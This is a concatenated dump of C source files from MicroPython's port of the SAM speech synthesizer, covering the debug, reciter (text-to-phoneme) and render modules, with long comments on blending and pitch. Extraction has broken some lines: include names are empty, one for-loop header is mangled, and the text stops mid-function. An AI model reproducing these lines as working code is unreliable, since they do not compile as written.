| 01001011 | 70 | ** | 01001011 | 71 | ** | 01001011 | 73 | ** | 01001011 | 74 | ** | 01001011 | 75 | KX | 01001011 | 76 | ** | 01001011 | 77 | ** | 01001011 | SPECIAL 78 | UL | 10000000 | 79 | UM | 11000001 | 80 | UN | 11000001 | 31 | Q* | 01001100 | */ #endif ================================================ FILE: micropython/source/lib/sam/debug.c ================================================ #include #include "sam.h" extern unsigned char signInputTable1[]; extern unsigned char signInputTable2[]; void PrintPhonemes(char* title, phoneme_t *phonemes) { int i = 0; printf("===========================================\r\n"); printf("%s:\r\n\r\n", title); printf(" idx phoneme length stress\r\n"); printf("------------------------------\r\n"); while((phonemes[i].index != PHONEME_END) && (i < 255)) { if (phonemes[i].index < 81) { printf(" %3i %c%c %3i %i\r\n", phonemes[i].index, signInputTable1[phonemes[i].index], signInputTable2[phonemes[i].index], phonemes[i].length, phonemes[i].stress ); } else { printf(" %3i ?? %3i %i\r\n", phonemes[i].index, phonemes[i].length, phonemes[i].stress); } i++; } printf("===========================================\r\n"); printf("\r\n"); } void PrintOutput(unsigned char *flags, render_freq_amp_t *frames, unsigned char *pitches, unsigned char count) { printf("===========================================\r\n"); printf("Final data for speech output. %i frames:\r\n\r\n", count); int i = 0; printf(" flags ampl1 freq1 ampl2 freq2 ampl3 freq3 pitch\r\n"); printf("------------------------------------------------\r\n"); while(i < count) { render_freq_amp_t frame = frames[i]; printf("%5i %5i %5i %5i %5i %5i %5i %5i\r\n", flags[i], frame.amp1, frame.freq1, frame.amp2, frame.freq2, frame.amp3, frame.freq3, pitches[i]); i++; } printf("===========================================\r\n"); } /* For debugging or modifying reciter rules ... extern unsigned char GetRuleByte(unsigned short mem62, unsigned char Y); void PrintRule(int offset) { int i = 1; unsigned char A = 0; printf("Applying rule: "); do { A = GetRuleByte(offset, i); if ((A&127) == '=') printf(" -> "); else printf("%c", A&127); i++; } while ((A&128)==0); printf("\r\n"); } */ ================================================ FILE: micropython/source/lib/sam/debug.h ================================================ #ifndef DEBUG_H #define DEBUG_H #include "sam.h" void PrintPhonemes(char* title, phoneme_t *phonemes); void PrintOutput(unsigned char *flags, render_freq_amp_t *frames, unsigned char *pitches, unsigned char count); void PrintRule(int offset); #endif ================================================ FILE: micropython/source/lib/sam/main.c ================================================ #include #include #include #include #include "reciter.h" #include "sam.h" #include "debug.h" void PrintUsage() { printf("usage: sam [options] Word1 Word2 ....\n"); printf("options\n"); printf(" -phonetic enters phonetic mode. (see below)\n"); printf(" -pitch number set pitch value (default=64)\n"); printf(" -speed number set speed value (default=72)\n"); printf(" -throat number set throat value (default=128)\n"); printf(" -mouth number set mouth value (default=128)\n"); printf(" -wav filename output to wav instead of libsdl\n"); printf(" -sing special treatment of pitch\n"); printf(" -debug print additional debug messages\n"); printf("\n"); printf(" VOWELS VOICED CONSONANTS \n"); printf("IY f(ee)t R red \n"); printf("IH p(i)n L allow \n"); printf("EH beg W away \n"); printf("AE Sam W whale \n"); printf("AA pot Y you \n"); printf("AH b(u)dget M Sam \n"); printf("AO t(al)k N man \n"); printf("OH cone NX so(ng) \n"); printf("UH book B bad \n"); printf("UX l(oo)t D dog \n"); printf("ER bird G again \n"); printf("AX gall(o)n J judge \n"); printf("IX dig(i)t Z zoo \n"); printf(" ZH plea(s)ure \n"); printf(" DIPHTHONGS V seven \n"); printf("EY m(a)de DH (th)en \n"); printf("AY h(igh) \n"); printf("OY boy \n"); printf("AW h(ow) UNVOICED CONSONANTS \n"); printf("OW slow S Sam \n"); printf("UW crew Sh fish \n"); printf(" F fish \n"); printf(" TH thin \n"); printf(" SPECIAL PHONEMES P poke \n"); printf("UL sett(le) (=AXL) T talk \n"); printf("UM astron(omy) (=AXM) K cake \n"); printf("UN functi(on) (=AXN) CH speech \n"); printf("Q kitt-en (glottal stop) /H a(h)ead \n"); } int debug = 0; ================================================ FILE: micropython/source/lib/sam/reciter.c ================================================ #include #include #include "reciter.h" #include "ReciterTabs.h" #include "debug.h" static unsigned char A, X, Y; extern int debug; void Code37055(reciter_memory* mem, unsigned char mem59) { X = mem59; X--; A = mem->inputtemp[X]; Y = A; A = tab36376[Y]; //return A; } void Code37066(reciter_memory* mem, unsigned char mem58) { X = mem58; X++; A = mem->inputtemp[X]; Y = A; A = tab36376[Y]; //return A } unsigned char GetRuleByte(unsigned short mem62, unsigned char Y) { unsigned int address = mem62; if (mem62 >= 37541) { address -= 37541; return rules2[address+Y]; } address -= 32000; return rules[address+Y]; } int TextToPhonemes(reciter_memory* mem) // Code36484 { //unsigned char *tab39445 = &mem[39445]; //input and output //unsigned char mem29; unsigned char mem56; //output position for phonemes unsigned char mem57; unsigned char mem58; unsigned char mem59; unsigned char mem60; unsigned char mem61; unsigned short mem62; // memory position of current rule unsigned char mem64; // position of '=' or current character unsigned char mem65; // position of ')' unsigned char mem66; // position of '(' unsigned char mem36653; mem->inputtemp[0] = 32; // secure copy of input // because input will be overwritten by phonemes X = 1; Y = 0; do { //pos36499: A = mem->input[Y] & 127; if ( A >= 112) A = A & 95; else if ( A >= 96) A = A & 79; mem->inputtemp[X] = A; X++; Y++; } while (Y != INPUT_PHONEMES-1); mem->inputtemp[INPUT_PHONEMES-1] = 27; mem61 = 255; // -1 pos36550: A = 255; mem56 = 255; // -1 pos36554: while(1) { mem61++; X = mem61; A = mem->inputtemp[X]; mem64 = A; if (A == '[') { mem56++; X = mem56; A = 155; mem->input[X] = 155; //goto pos36542; // Code39771(); //Code39777(); return 1; } //pos36579: if (A != '.') break; X++; Y = mem->inputtemp[X]; A = tab36376[Y] & 1; if(A != 0) break; mem56++; X = mem56; A = '.'; mem->input[X] = '.'; } //while //pos36607: A = mem64; Y = A; A = tab36376[A]; mem57 = A; if((A&2) != 0) { mem62 = 37541; goto pos36700; } //pos36630: A = mem57; if(A != 0) goto pos36677; A = 32; mem->inputtemp[X] = ' '; mem56++; X = mem56; if (X > 120) goto pos36654; mem->input[X] = A; goto pos36554; // ----- //36653 is unknown. Contains position pos36654: mem->input[X] = 155; A = mem61; mem36653 = A; // mem29 = A; // not used // Code36538(); das ist eigentlich return 1; //Code39771(); //go on if there is more input ??? mem61 = mem36653; goto pos36550; pos36677: A = mem57 & 128; if(A == 0) { //36683: BRK sam_error = "Err 36683"; return 0; } // go to the right rules for this character. X = mem64 - 'A'; mem62 = tab37489[X] | (tab37515[X]<<8); // ------------------------------------- // go to next rule // ------------------------------------- pos36700: // find next rule Y = 0; do { mem62 += 1; A = GetRuleByte(mem62, Y); } while ((A & 128) == 0); Y++; //pos36720: // find '(' while(1) { A = GetRuleByte(mem62, Y); if (A == '(') break; Y++; } mem66 = Y; //pos36732: // find ')' do { Y++; A = GetRuleByte(mem62, Y); } while(A != ')'); mem65 = Y; //pos36741: // find '=' do { Y++; A = GetRuleByte(mem62, Y); A = A & 127; } while (A != '='); mem64 = Y; X = mem61; mem60 = X; // compare the string within the bracket Y = mem66; Y++; //pos36759: while(1) { mem57 = mem->inputtemp[X]; A = GetRuleByte(mem62, Y); if (A != mem57) goto pos36700; Y++; if(Y == mem65) break; X++; mem60 = X; } // the string in the bracket is correct //pos36787: A = mem61; mem59 = mem61; pos36791: while(1) { mem66--; Y = mem66; A = GetRuleByte(mem62, Y); mem57 = A; //36800: BPL 36805 if ((A & 128) != 0) goto pos37180; X = A & 127; A = tab36376[X] & 128; if (A == 0) break; X = mem59-1; A = mem->inputtemp[X]; if (A != mem57) goto pos36700; mem59 = X; } //pos36833: A = mem57; if (A == ' ') goto pos36895; if (A == '#') goto pos36910; if (A == '.') goto pos36920; if (A == '&') goto pos36935; if (A == '@') goto pos36967; if (A == '^') goto pos37004; if (A == '+') goto pos37019; if (A == ':') goto pos37040; // Code42041(); //Error //36894: BRK sam_error = "Err 36894"; return 0; // -------------- pos36895: Code37055(mem, mem59); A = A & 128; if(A != 0) goto pos36700; pos36905: mem59 = X; goto pos36791; // -------------- pos36910: Code37055(mem, mem59); A = A & 64; if(A != 0) goto pos36905; goto pos36700; // -------------- pos36920: Code37055(mem, mem59); A = A & 8; if(A == 0) goto pos36700; pos36930: mem59 = X; goto pos36791; // -------------- pos36935: Code37055(mem, mem59); A = A & 16; if(A != 0) goto pos36930; A = mem->inputtemp[X]; if (A != 72) goto pos36700; X--; A = mem->inputtemp[X]; if ((A == 67) || (A == 83)) goto pos36930; goto pos36700; // -------------- pos36967: Code37055(mem, mem59); A = A & 4; if(A != 0) goto pos36930; A = mem->inputtemp[X]; if (A != 72) goto pos36700; if ((A != 84) && (A != 67) && (A != 83)) goto pos36700; mem59 = X; goto pos36791; // -------------- pos37004: Code37055(mem, mem59); A = A & 32; if(A == 0) goto pos36700; pos37014: mem59 = X; goto pos36791; // -------------- pos37019: X = mem59; X--; A = mem->inputtemp[X]; if ((A == 'E') || (A == 'I') || (A == 'Y')) goto pos37014; goto pos36700; // -------------- pos37040: Code37055(mem, mem59); A = A & 32; if(A == 0) goto pos36791; mem59 = X; goto pos37040; //--------------------------------------- pos37077: X = mem58+1; A = mem->inputtemp[X]; if (A != 'E') goto pos37157; X++; Y = mem->inputtemp[X]; X--; A = tab36376[Y] & 128; if(A == 0) goto pos37108; X++; A = mem->inputtemp[X]; if (A != 'R') goto pos37113; pos37108: mem58 = X; goto pos37184; pos37113: if ((A == 83) || (A == 68)) goto pos37108; // 'S' 'D' if (A != 76) goto pos37135; // 'L' X++; A = mem->inputtemp[X]; if (A != 89) goto pos36700; goto pos37108; pos37135: if (A != 70) goto pos36700; X++; A = mem->inputtemp[X]; if (A != 85) goto pos36700; X++; A = mem->inputtemp[X]; if (A == 76) goto pos37108; goto pos36700; pos37157: if (A != 73) goto pos36700; X++; A = mem->inputtemp[X]; if (A != 78) goto pos36700; X++; A = mem->inputtemp[X]; if (A == 71) goto pos37108; //pos37177: goto pos36700; // ----------------------------------------- pos37180: A = mem60; mem58 = A; pos37184: Y = mem65 + 1; //37187: CPY 64 // if(? != 0) goto pos37194; if(Y == mem64) goto pos37455; mem65 = Y; //37196: LDA (62),y A = GetRuleByte(mem62, Y); mem57 = A; X = A; A = tab36376[X] & 128; if(A == 0) goto pos37226; X = mem58+1; A = mem->inputtemp[X]; if (A != mem57) goto pos36700; mem58 = X; goto pos37184; pos37226: A = mem57; if (A == 32) goto pos37295; // ' ' if (A == 35) goto pos37310; // '#' if (A == 46) goto pos37320; // '.' if (A == 38) goto pos37335; // '&' if (A == 64) goto pos37367; // '' if (A == 94) goto pos37404; // '' if (A == 43) goto pos37419; // '+' if (A == 58) goto pos37440; // ':' if (A == 37) goto pos37077; // '%' //pos37291: // Code42041(); //Error //37294: BRK sam_error = "Err 36894"; return 0; // -------------- pos37295: Code37066(mem, mem58); A = A & 128; if(A != 0) goto pos36700; pos37305: mem58 = X; goto pos37184; // -------------- pos37310: Code37066(mem, mem58); A = A & 64; if(A != 0) goto pos37305; goto pos36700; // -------------- pos37320: Code37066(mem, mem58); A = A & 8; if(A == 0) goto pos36700; pos37330: mem58 = X; goto pos37184; // -------------- pos37335: Code37066(mem, mem58); A = A & 16; if(A != 0) goto pos37330; A = mem->inputtemp[X]; if (A != 72) goto pos36700; X++; A = mem->inputtemp[X]; if ((A == 67) || (A == 83)) goto pos37330; goto pos36700; // -------------- pos37367: Code37066(mem, mem58); A = A & 4; if(A != 0) goto pos37330; A = mem->inputtemp[X]; if (A != 72) goto pos36700; if ((A != 84) && (A != 67) && (A != 83)) goto pos36700; mem58 = X; goto pos37184; // -------------- pos37404: Code37066(mem, mem58); A = A & 32; if(A == 0) goto pos36700; pos37414: mem58 = X; goto pos37184; // -------------- pos37419: X = mem58; X++; A = mem->inputtemp[X]; if ((A == 69) || (A == 73) || (A == 89)) goto pos37414; goto pos36700; // ---------------------- pos37440: Code37066(mem, mem58); A = A & 32; if(A == 0) goto pos37184; mem58 = X; goto pos37440; pos37455: Y = mem64; mem61 = mem60; //if (debug) // PrintRule(mem62); pos37461: //37461: LDA (62),y A = GetRuleByte(mem62, Y); mem57 = A; A = A & 127; if (A != '=') { mem56++; X = mem56; mem->input[X] = A; } //37478: BIT 57 //37480: BPL 37485 //not negative flag if ((mem57 & 128) == 0) goto pos37485; //??? goto pos36554; pos37485: Y++; goto pos37461; } ================================================ FILE: micropython/source/lib/sam/reciter.h ================================================ #ifndef RECITER_C #define RECITER_C //int TextToPhonemes(char *input, char *output); typedef struct _reciter_memory { char input[128]; unsigned char inputtemp[128]; // secure copy of input tab36096 } reciter_memory; int TextToPhonemes(reciter_memory *mem); #endif ================================================ FILE: micropython/source/lib/sam/render.c ================================================ #include #include #include #include "render.h" #include "RenderTabs.h" #include "debug.h" #include "sam.h" extern int debug; void AddInflection(sam_memory* sam, unsigned char mem48, unsigned char phase1, unsigned char punctuation); // contains the final soundbuffer extern int bufferpos; //timetable for more accurate c64 simulation const int timetable[5][5] = { {162, 167, 167, 127, 128}, {226, 60, 60, 0, 0}, {225, 60, 59, 0, 0}, {200, 0, 0, 54, 55}, {199, 0, 0, 54, 54} }; extern void SamOutputByte(unsigned int pos, unsigned char b); void Output(int index, unsigned char A) { static unsigned oldtimetableindex = 0; bufferpos += timetable[oldtimetableindex][index]; oldtimetableindex = index; SamOutputByte(bufferpos, (A & 15)*16); } //written by me because of different table positions. // mem[47] = ... // 168=pitches // 169=frequency1 // 170=frequency2 // 171=frequency3 // 172=amplitude1 // 173=amplitude2 // 174=amplitude3 unsigned char Read(sam_memory* sam, unsigned char p, unsigned char Y) { if (p > RENDER_FRAMES) { sam_error = "Out-of-buffer read"; return 0; } switch(p) { case 168: return sam->render.pitch[Y]; case 169: return sam->render.freq_amp[Y].freq1; case 170: return sam->render.freq_amp[Y].freq2; case 171: return sam->render.freq_amp[Y].freq3; case 172: return sam->render.freq_amp[Y].amp1; case 173: return sam->render.freq_amp[Y].amp2; case 174: return sam->render.freq_amp[Y].amp3; } sam_error = "Read error"; return 0; } void Write(sam_memory* sam, unsigned char p, unsigned char Y, unsigned char value) { if (p > RENDER_FRAMES) { sam_error = "Out-of-buffer write"; return; } switch(p) { case 168: sam->render.pitch[Y] = value; return; case 169: sam->render.freq_amp[Y].freq1 = value; return; case 170: sam->render.freq_amp[Y].freq2 = value; return; case 171: sam->render.freq_amp[Y].freq3 = value; return; case 172: sam->render.freq_amp[Y].amp1 = value; return; case 173: sam->render.freq_amp[Y].amp2 = value; return; case 174: sam->render.freq_amp[Y].amp3 = value; return; } sam_error = "Write error"; } // ------------------------------------------------------------------------- //Code48227 // Render a sampled sound from the sampleTable. // // Phoneme Sample Start Sample End // 32: S* 15 255 // 33: SH 257 511 // 34: F* 559 767 // 35: TH 583 767 // 36: /H 903 1023 // 37: /X 1135 1279 // 38: Z* 84 119 // 39: ZH 340 375 // 40: V* 596 639 // 41: DH 596 631 // // 42: CH // 43: ** 399 511 // // 44: J* // 45: ** 257 276 // 46: ** // // 66: P* // 67: ** 743 767 // 68: ** // // 69: T* // 70: ** 231 255 // 71: ** // // The SampledPhonemesTable[] holds flags indicating if a phoneme is // voiced or not. If the upper 5 bits are zero, the sample is voiced. // // Samples in the sampleTable are compressed, with bits being converted to // bytes from high bit to low, as follows: // // unvoiced 0 bit -> X // unvoiced 1 bit -> 5 // // voiced 0 bit -> 6 // voiced 1 bit -> 24 // // Where X is a value from the table: // // { 0x18, 0x1A, 0x17, 0x17, 0x17 }; // // The index into this table is determined by masking off the lower // 3 bits from the SampledPhonemesTable: // // index = (SampledPhonemesTable[i] & 7) - 1; // // For voices samples, samples are interleaved between voiced output. // Code48227() unsigned char RenderSample(sam_memory* sam, unsigned char *mem66, unsigned sample, unsigned char pos) { int tempA; // current phoneme's index unsigned char mem47; unsigned char mem49 = pos; unsigned char mem53; unsigned char mem56; // mask low three bits and subtract 1 get value to // convert 0 bits on unvoiced samples. unsigned char A = sample&7; unsigned char X = A-1; // store the result mem56 = X; // determine which offset to use from table { 0x18, 0x1A, 0x17, 0x17, 0x17 } // T, S, Z 0 0x18 // CH, J, SH, ZH 1 0x1A // P, F*, V, TH, DH 2 0x17 // /H 3 0x17 // /X 4 0x17 // get value from the table if (X >= sizeof(tab48426)) sam_error = "Out-of-buffer read"; mem53 = tab48426[X]; mem47 = X; //46016+mem[56]*256 // voiced sample? A = sample & 248; if(A == 0) { // voiced phoneme: Z*, ZH, V*, DH pos = mem49; A = sam->render.pitch[9] >> 4; // jump to voiced portion goto pos48315; } pos = A ^ 255; pos48274: // step through the 8 bits in the sample mem56 = 8; // get the next sample from the table // mem47*256 = offset to start of samples A = sampleTable[mem47*256+pos]; pos48280: // left shift to get the high bit tempA = A; A = A << 1; //48281: BCC 48290 // bit not set? if ((tempA & 128) == 0) { // convert the bit to value from table X = mem53; //mem[54296] = X; // output the byte Output(1, X); // if X != 0, exit loop if(X != 0) goto pos48296; } // output a 5 for the on bit Output(2, 5); //48295: NOP pos48296: X = 0; // decrement counter mem56--; // if not done, jump to top of loop if (mem56 != 0) goto pos48280; // increment position pos++; if (pos != 0) goto pos48274; // restore values and return pos = mem49; return pos; unsigned char phase1; pos48315: // handle voiced samples here // number of samples? phase1 = A ^ 255; pos = *mem66; do { //pos48321: // shift through all 8 bits mem56 = 8; //A = Read(sam, mem47, pos); // fetch value from table A = sampleTable[mem47*256+pos]; // loop 8 times //pos48327: do { //48327: ASL A //48328: BCC 48337 // left shift and check high bit tempA = A; A = A << 1; if ((tempA & 128) != 0) { // if bit set, output 26 X = 26; Output(3, X); } else { //timetable 4 // bit is not set, output a 6 X=6; Output(4, X); } mem56--; } while(mem56 != 0); // move ahead in the table pos++; // continue until counter done phase1++; } while (phase1 != 0); // if (phase1 != 0) goto pos48321; // restore values and return A = 1; *mem66 = pos; pos = mem49; return pos; } // RENDER THE PHONEMES IN THE LIST // // The phoneme list is converted into sound through the steps: // // 1. Copy each phoneme number of times into the frames list, // where each frame represents 10 milliseconds of sound. // // 2. Determine the transitions lengths between phonemes, and linearly // interpolate the values across the frames. // // 3. Offset the pitches by the fundamental frequency. // // 4. Render the each frame. //void Code47574() void Render(sam_memory* sam) { unsigned char phase1 = 0; //mem43 unsigned char phase2; unsigned char phase3; unsigned char mem38; unsigned char mem40; unsigned char speedcounter; //mem45 unsigned char mem47; unsigned char mem48; unsigned char mem49; unsigned char mem50; unsigned char mem51; unsigned char mem53; unsigned char mem56; unsigned char mem44 = 0; int i; if (sam->common.phoneme_output[0].index == PHONEME_END) return; //exit if no data unsigned char A = 0; unsigned char X = 0; // CREATE FRAMES // // The length parameter in the list corresponds to the number of frames // to expand the phoneme to. Each frame represents 10 milliseconds of time. // So a phoneme with a length of 7 = 7 frames = 70 milliseconds duration. // // The parameters are copied from the phoneme to the frame verbatim. do { // get the index unsigned char Y = mem44; // get the phoneme at the index A = sam->common.phoneme_output[mem44].index; mem56 = A; // if terminal phoneme, exit the loop if (A == PHONEME_END) break; // period phoneme *. if (A == 1) { // add rising inflection A = 1; mem48 = 1; //goto pos48376; AddInflection(sam, mem48, phase1, X); } /* if (A == 2) goto pos48372; */ // question mark phoneme? if (A == 2) { // create falling inflection mem48 = 255; AddInflection(sam, mem48, phase1, X); } // pos47615: // get the stress amount (more stress = higher pitch) phase1 = tab47492[sam->common.phoneme_output[Y].stress + 1]; // get number of frames to write phase2 = sam->common.phoneme_output[Y].length; unsigned char pitch = sam->common.phoneme_output[Y].pitch; Y = mem56; // copy from the source to the frames list do { sam->render.freq_amp[X].freq1 = get_freq1(Y, sam->common.mouth); // F1 frequency sam->render.freq_amp[X].freq2 = get_freq2(Y, sam->common.throat); // F2 frequency sam->render.freq_amp[X].freq3 = freq3data[Y]; // F3 frequency sam->render.freq_amp[X].amp1 = ampl1data[Y]; // F1 amplitude sam->render.freq_amp[X].amp2 = ampl2data[Y]; // F2 amplitude sam->render.freq_amp[X].amp3 = ampl3data[Y]; // F3 amplitude sam->render.flags[X] = sampledConsonantFlags[Y]; // phoneme data for sampled consonants sam->render.pitch[X] = pitch + phase1; // pitch X++; phase2--; } while(phase2 != 0); mem44++; } while(mem44 != OUTPUT_PHONEMES); // ------------------- //pos47694: // CREATE TRANSITIONS // // Linear transitions are now created to smoothly connect the // end of one sustained portion of a phoneme to the following // phoneme. // // To do this, three tables are used: // // Table Purpose // ========= ================================================== // blendRank Determines which phoneme's blend values are used. // // blendOut The number of frames at the end of the phoneme that // will be used to transition to the following phoneme. // // blendIn The number of frames of the following phoneme that // will be used to transition into that phoneme. // // In creating a transition between two phonemes, the phoneme // with the HIGHEST rank is used. Phonemes are ranked on how much // their identity is based on their transitions. For example, // vowels are and diphthongs are identified by their sustained portion, // rather than the transitions, so they are given low values. In contrast, // stop consonants (P, B, T, K) and glides (Y, L) are almost entirely // defined by their transitions, and are given high rank values. // // Here are the rankings used by SAM: // // Rank Type Phonemes // 2 All vowels IY, IH, etc. // 5 Diphthong endings YX, WX, ER // 8 Terminal liquid consonants LX, WX, YX, N, NX // 9 Liquid consonants L, RX, W // 10 Glide R, OH // 11 Glide WH // 18 Voiceless fricatives S, SH, F, TH // 20 Voiced fricatives Z, ZH, V, DH // 23 Plosives, stop consonants P, T, K, KX, DX, CH // 26 Stop consonants J, GX, B, D, G // 27-29 Stop consonants (internal) ** // 30 Unvoiced consonants /H, /X and Q* // 160 Nasal M // // To determine how many frames to use, the two phonemes are // compared using the blendRank[] table. The phoneme with the // higher rank is selected. In case of a tie, a blend of each is used: // // if blendRank[phoneme1] == blendRank[phomneme2] // // use lengths from each phoneme // outBlendFrames = outBlend[phoneme1] // inBlendFrames = outBlend[phoneme2] // else if blendRank[phoneme1] > blendRank[phoneme2] // // use lengths from first phoneme // outBlendFrames = outBlendLength[phoneme1] // inBlendFrames = inBlendLength[phoneme1] // else // // use lengths from the second phoneme // // note that in and out are SWAPPED! // outBlendFrames = inBlendLength[phoneme2] // inBlendFrames = outBlendLength[phoneme2] // // Blend lengths can't be less than zero. // // Transitions are assumed to be symetrical, so if the transition // values for the second phoneme are used, the inBlendLength and // outBlendLength values are SWAPPED. // // For most of the parameters, SAM interpolates over the range of the last // outBlendFrames-1 and the first inBlendFrames. // // The exception to this is the Pitch[] parameter, which is interpolates the // pitch from the CENTER of the current phoneme to the CENTER of the next // phoneme. // // Here are two examples. First, For example, consider the word "SUN" (S AH N) // // Phoneme Duration BlendWeight OutBlendFrames InBlendFrames // S 2 18 1 3 // AH 8 2 4 4 // N 7 8 1 2 // // The formant transitions for the output frames are calculated as follows: // // flags ampl1 freq1 ampl2 freq2 ampl3 freq3 pitch // ------------------------------------------------ // S // 241 0 6 0 73 0 99 61 Use S (weight 18) for transition instead of AH (weight 2) // 241 0 6 0 73 0 99 61 <-- (OutBlendFrames-1) = (1-1) = 0 frames // AH // 0 2 10 2 66 0 96 59 * <-- InBlendFrames = 3 frames // 0 4 14 3 59 0 93 57 * // 0 8 18 5 52 0 90 55 * // 0 15 22 9 44 1 87 53 // 0 15 22 9 44 1 87 53 // 0 15 22 9 44 1 87 53 Use N (weight 8) for transition instead of AH (weight 2). // 0 15 22 9 44 1 87 53 Since N is second phoneme, reverse the IN and OUT values. // 0 11 17 8 47 1 98 56 * <-- (InBlendFrames-1) = (2-1) = 1 frames // N // 0 8 12 6 50 1 109 58 * <-- OutBlendFrames = 1 // 0 5 6 5 54 0 121 61 // 0 5 6 5 54 0 121 61 // 0 5 6 5 54 0 121 61 // 0 5 6 5 54 0 121 61 // 0 5 6 5 54 0 121 61 // 0 5 6 5 54 0 121 61 // // Now, consider the reverse "NUS" (N AH S): // // flags ampl1 freq1 ampl2 freq2 ampl3 freq3 pitch // ------------------------------------------------ // N // 0 5 6 5 54 0 121 61 // 0 5 6 5 54 0 121 61 // 0 5 6 5 54 0 121 61 // 0 5 6 5 54 0 121 61 // 0 5 6 5 54 0 121 61 // 0 5 6 5 54 0 121 61 Use N (weight 8) for transition instead of AH (weight 2) // 0 5 6 5 54 0 121 61 <-- (OutBlendFrames-1) = (1-1) = 0 frames // AH // 0 8 11 6 51 0 110 59 * <-- InBlendFrames = 2 // 0 11 16 8 48 0 99 56 * // 0 15 22 9 44 1 87 53 Use S (weight 18) for transition instead of AH (weight 2) // 0 15 22 9 44 1 87 53 Since S is second phoneme, reverse the IN and OUT values. // 0 9 18 5 51 1 90 55 * <-- (InBlendFrames-1) = (3-1) = 2 // 0 4 14 3 58 1 93 57 * // S // 241 2 10 2 65 1 96 59 * <-- OutBlendFrames = 1 // 241 0 6 0 73 0 99 61 A = 0; mem44 = 0; mem49 = 0; // mem49 starts at as 0 X = 0; while(1) //while No. 1 { // get the current and following phoneme unsigned char Y = sam->common.phoneme_output[X].index; A = sam->common.phoneme_output[X+1].index; X++; // exit loop at end token if (A == PHONEME_END) break;//goto pos47970; // get the ranking of each phoneme X = A; mem56 = blendRank[A]; A = blendRank[Y]; // compare the rank - lower rank value is stronger if (A == mem56) { // same rank, so use out blend lengths from each phoneme phase1 = outBlendLength[Y]; phase2 = outBlendLength[X]; } else if (A < mem56) { // first phoneme is stronger, so us it's blend lengths phase1 = inBlendLength[X]; phase2 = outBlendLength[X]; } else { // second phoneme is stronger, so use it's blend lengths // note the out/in are swapped phase1 = outBlendLength[Y]; phase2 = inBlendLength[Y]; } Y = mem44; A = mem49 + sam->common.phoneme_output[mem44].length; // A is mem49 + length mem49 = A; // mem49 now holds length + position A = A + phase2; //Maybe Problem because of carry flag //47776: ADC 42 speedcounter = A; mem47 = 168; phase3 = mem49 - phase1; // what is mem49 A = phase1 + phase2; // total transition? mem38 = A; X = A; X -= 2; if ((X & 128) == 0) do //while No. 2 { //pos47810: // mem47 is used to index the tables: // 168 pitches[] // 169 frequency1 // 170 frequency2 // 171 frequency3 // 172 amplitude1 // 173 amplitude2 // 174 amplitude3 mem40 = mem38; if (mem47 == 168) // pitch { // unlike the other values, the pitches[] interpolates from // the middle of the current phoneme to the middle of the // next phoneme unsigned char mem36, mem37; // half the width of the current phoneme mem36 = sam->common.phoneme_output[mem44].length >> 1; // half the width of the next phoneme mem37 = sam->common.phoneme_output[mem44+1].length >> 1; // sum the values mem40 = mem36 + mem37; // length of both halves mem37 += mem49; // center of next phoneme mem36 = mem49 - mem36; // center index of current phoneme A = Read(sam, mem47, mem37); // value at center of next phoneme - end interpolation value //A = mem[address]; Y = mem36; // start index of interpolation mem53 = A - Read(sam, mem47, mem36); // value to center of current phoneme } else { // value to interpolate to A = Read(sam, mem47, speedcounter); // position to start interpolation from Y = phase3; // value to interpolate from mem53 = A - Read(sam, mem47, phase3); } // calculate change per frame mem50 = (((signed char)(mem53) < 0) ? 128 : 0); mem51 = abs((signed char)mem53) % mem40; mem53 = (unsigned char)((signed char)(mem53) / mem40); // interpolation range X = mem40; // number of frames to interpolate over Y = phase3; // starting frame // linearly interpolate values mem56 = 0; //47907: CLC //pos47908: while(1) //while No. 3 { A = Read(sam, mem47, Y) + mem53; //carry alway cleared mem48 = A; Y++; X--; if(X == 0) break; mem56 += mem51; if (mem56 >= mem40) //??? { mem56 -= mem40; //carry? is set //if ((mem56 & 128)==0) if ((mem50 & 128)==0) { //47935: BIT 50 //47937: BMI 47943 if(mem48 != 0) mem48++; } else mem48--; } //pos47945: Write(sam, mem47, Y, mem48); } //while No. 3 //pos47952: mem47++; //if (mem47 != 175) goto pos47810; } while (mem47 != 175); //while No. 2 //pos47963: mem44++; X = mem44; } //while No. 1 //goto pos47701; //pos47970: // add the length of this phoneme mem48 = mem49 + sam->common.phoneme_output[mem44].length; // ASSIGN PITCH CONTOUR // // This subtracts the F1 frequency from the pitch to create a // pitch contour. Without this, the output would be at a single // pitch level (monotone). // don't adjust pitch if in sing mode if (!sam->common.singmode) { // iterate through the buffer for(i=0; irender.pitch[i] -= (sam->render.freq_amp[i].freq1 >> 1); } } OutputFrames(sam, mem48); } void OutputFrames(sam_memory *sam, unsigned char frame_count) { unsigned char phase1 = 0; unsigned char phase2 = 0; unsigned char phase3 = 0; unsigned char speedcounter = 72; //sam standard speed unsigned char mem66 = 0; // RESCALE AMPLITUDE // Rescale volume from decibels to a linear scale. for(int i=RENDER_FRAMES-1; i>=0; i--) { sam->render.freq_amp[i].amp1 = amplitudeRescale[sam->render.freq_amp[i].amp1]; sam->render.freq_amp[i].amp2 = amplitudeRescale[sam->render.freq_amp[i].amp2]; sam->render.freq_amp[i].amp3 = amplitudeRescale[sam->render.freq_amp[i].amp3]; } unsigned char Y = 0; unsigned char A = sam->render.pitch[0]; unsigned char glottal_pulse = A; unsigned char count = A - (A>>2); // 3/4*A ??? if (debug) { PrintOutput(sam->render.flags, sam->render.freq_amp, sam->render.pitch, frame_count); } // PROCESS THE FRAMES // // In traditional vocal synthesis, the glottal pulse drives filters, which // are attenuated to the frequencies of the formants. // // SAM generates these formants directly with sin and rectangular waves. // To simulate them being driven by the glottal pulse, the waveforms are // reset at the beginning of each glottal pulse. //finally the loop for sound output //pos48078: while(1) { // get the sampled information on the phoneme A = sam->render.flags[Y]; unsigned char sample = A; // unvoiced sampled phoneme? A = A & 248; if(A != 0) { // render the sample for the phoneme Y = RenderSample(sam, &mem66, sample, Y); // skip ahead two in the frame buffer Y += 2; frame_count -= 2; } else { // simulate the glottal pulse and formants unsigned char accum = multtable[sinus[phase1] | sam->render.freq_amp[Y].amp1]; int carry = 0; if ((accum+multtable[sinus[phase2] | sam->render.freq_amp[Y].amp2] ) > 255) carry = 1; accum += multtable[sinus[phase2] | sam->render.freq_amp[Y].amp2]; A = accum + multtable[rectangle[phase3] | sam->render.freq_amp[Y].amp3] + (carry?1:0); A = ((A + 136) & 255) >> 4; //there must be also a carry //mem[54296] = A; // output the accumulated value Output(0, A); speedcounter--; if (speedcounter != 0) goto pos48155; Y++; //go to next amplitude // decrement the frame count frame_count--; } // if the frame count is zero, exit the loop if(frame_count == 0) return; speedcounter = sam->common.speed; 